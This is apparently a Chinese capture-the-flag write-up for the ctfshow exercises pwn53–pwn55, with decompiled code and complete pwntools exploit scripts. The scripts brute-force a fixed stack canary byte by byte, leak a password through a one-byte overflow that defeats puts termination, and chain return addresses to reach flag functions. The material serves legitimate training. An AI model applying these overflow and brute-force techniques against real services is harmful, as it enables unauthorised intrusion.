爆破”Canary” pwn53
分析:
题目hint:”再多看一眼就会爆炸”
可能会遇到爆破
checksec
IDA分析
main函数:
1 2 3 4 5 6 7 8
| int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); logo(); canary(); ctfshow(); return 0; }
|
canary函数:
1 2 3 4 5 6 7 8 9 10 11 12 13
| int canary() { FILE *stream;
stream = fopen("/canary.txt", "r"); if ( !stream ) { puts("/canary.txt: No such file or directory."); exit(0); } fread(&global_canary, 1u, 4u, stream); return fclose(stream); }
|
ctfshow函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| int ctfshow() { size_t nbytes; char v2[32]; char buf[32]; int s1; int v5;
v5 = 0; s1 = global_canary; printf("How many bytes do you want to write to the buffer?\n>"); while ( v5 <= 31 ) { read(0, &v2[v5], 1u); if ( v2[v5] == 10 ) break; ++v5; } __isoc99_sscanf(v2, "%d", &nbytes); printf("$ "); read(0, buf, nbytes); if ( memcmp(&s1, &global_canary, 4u) ) { puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!"); exit(-1); } puts("Where is the flag?"); return fflush(stdout); }
|
由IDA分析出的信息可知buf的起始地址距离ebp 0x30,s1距离ebp 0x10,并在IDA分析中发现后门函数,只要通过read栈溢出控制执行流到后门函数即可获得flag
但我们要保证s1的值不被更改所以需要逐字节爆破出”Canary”
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import* canary = b''
for i in range(4): for j in range(0xFF): io = remote('pwn.challenge.ctf.show',28148) io.sendlineafter('>','200') payload = b'a'*0x20 + canary + p8(j) io.sendafter('$ ',payload) ans = str(io.recv()) if "Canary Value Incorrect!" not in ans: print(f"No{i+1} byte is {hex(j)}") canary += p8(j) break else: print("trying")
print(f"canary is {hex(u32(canary))}")
io = remote('pwn.challenge.ctf.show',28148) elf = ELF('./pwn') flag = elf.sym['flag'] payload = b'a'*0x20 + canary + p32(0)*4 + p32(flag) io.sendlineafter('>','-1') io.sendafter('$ ',payload) io.interactive()
|
puts额外输出 pwn54
分析:
checksec
IDA分析
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| int __cdecl main(int argc, const char **argv, const char **envp) { char s1[64]; char v5[256]; char s[64]; FILE *stream; char *v8; int *p_argc;
p_argc = &argc; setvbuf(stdout, 0, 2, 0); memset(s, 0, sizeof(s)); memset(v5, 0, sizeof(v5)); memset(s1, 0, sizeof(s1)); puts("==========CTFshow-LOGIN=========="); puts("Input your Username:"); fgets(v5, 256, stdin); v8 = strchr(v5, 10); if ( v8 ) *v8 = 0; strcat(v5, ",\nInput your Password."); stream = fopen("/password.txt", "r"); if ( !stream ) { puts("/password.txt: No such file or directory."); exit(0); } fgets(s, 64, stream); printf("Welcome "); puts(v5); fgets(s1, 64, stdin); v5[0] = 0; if ( !strcmp(s1, s) ) { puts("Welcome! Here's what you want:"); flag(); } else { puts("You has been banned!"); } return 0; }
|
通过对主函数分析,发现v5与s刚好在栈上相邻,且输入name时存在一个字节的溢出
我们可以利用该溢出覆盖v5中的象征字符串结尾的 ‘\0’ puts函数检测到’\0’才停止输出,覆盖后便可将s中的内容一起输出,得到Password
exp
1 2 3 4 5 6
| from pwn import* io = remote('pwn.challenge.ctf.show',28237) payload=cyclic(0x100) io.sendline(payload) io.interactive()
|
逗号后这部分即为Password
1 2 3 4 5 6 7
| from pwn import* io = remote('pwn.challenge.ctf.show',28237) payload=b'1' io.sendline(payload) io.sendline(b'CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3') io.interactive()
|
pwn55
exp
1 2 3 4 5 6 7 8 9 10
| from pwn import* context.log_level = 'debug' io=remote('pwn.challenge.ctf.show',28268) elf=ELF('./pwn') flag=elf.sym['flag'] flag1_addr=elf.sym['flag_func1'] flag2_addr=elf.sym['flag_func2'] payload=b'a'*(0x2C+4)+p32(flag1_addr)+p32(flag2_addr)+p32(flag)+p32(0xACACACAC)+p32(0xBDBDBDBD) io.sendlineafter('flag:',payload) io.interactive()
|
注意:IDA中可以按h转换整数进制,if(flag1 && flag2 && a1 == 0xBDBDBDBD)
当flag1、flag2均为1且a1=0xBDBDBDBD时为真,进入if内部。而不是三个变量均为0xBDBDBDBD